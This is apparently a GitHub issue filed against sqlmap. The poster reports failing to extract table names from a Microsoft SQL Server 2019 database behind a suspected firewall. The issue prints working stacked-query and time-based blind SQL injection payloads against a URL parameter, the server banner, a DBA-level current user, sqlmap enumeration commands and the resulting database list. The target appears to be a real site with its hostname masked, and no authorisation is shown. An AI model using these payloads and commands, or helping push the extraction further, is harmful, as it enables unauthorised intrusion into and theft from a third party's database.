Skip to content

Unable to retrieve tables and columns of databases on a Microsoft SQL Server 2019 #6044

@turboman99maker

Description

@turboman99maker

Describe the bug
Unable to retrieve tables and columns of databases on a back-end DBMS: Microsoft SQL Server 2019. I suspect some kind of WAF.

Vulnerability

Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: https://www.target.com/funds.aspx?cname=can%20I%20ask%20you%20a%20question%20please');WAITFOR DELAY '0:0:5'--&pagename=CompanySearch

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: https://www.target.com/funds.aspx?cname=can%20I%20ask%20you%20a%20question%20please') WAITFOR DELAY '0:0:5'-- QpAI&pagename=CompanySearch

Other informations

The current user : 'admin2000' | current user is DBA: True
Banner : Microsoft SQL Server 2019 (RTM-GDR) (KB5068405) - 15.0.2155.2 (X64) Oct  7 2025 21:11:52
Copyright (C) 2019 Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: )

Examples of some requests
sqlmap -u PAYLOAD --dbs --no-cast --no-escape --technique=S

available databases [6]:
[*] Corporate
[*] master
[*] model
[*] msdb
[*] tempdb
[*] BGdb

sqlmap -u PAYLOAD -D Corporate --tables --no-cast --no-escape --technique=S

[INFO] fetching tables for database: Corporate
[INFO] fetching number of tables for database 'Corporate'
[WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                                                                             
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
2322
[INFO] retrieved: 
[INFO] retrieved: 
[INFO] retrieved: 
[INFO] retrieved: 
[INFO] retrieved: 
[INFO] retrieved: 
[INFO] retrieved:

sqlmap -u PAYLOAD -D Corporate --tables --no-cast --no-escape --technique=S -t traffic.txt -v 3
see attachment traffic_m.txt

Running environment:

  • sqlmap version : 1.10.3.11#dev]
  • Operating system: Microsoft Windows 10
  • Python version: [e.g. 3.1.13]

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions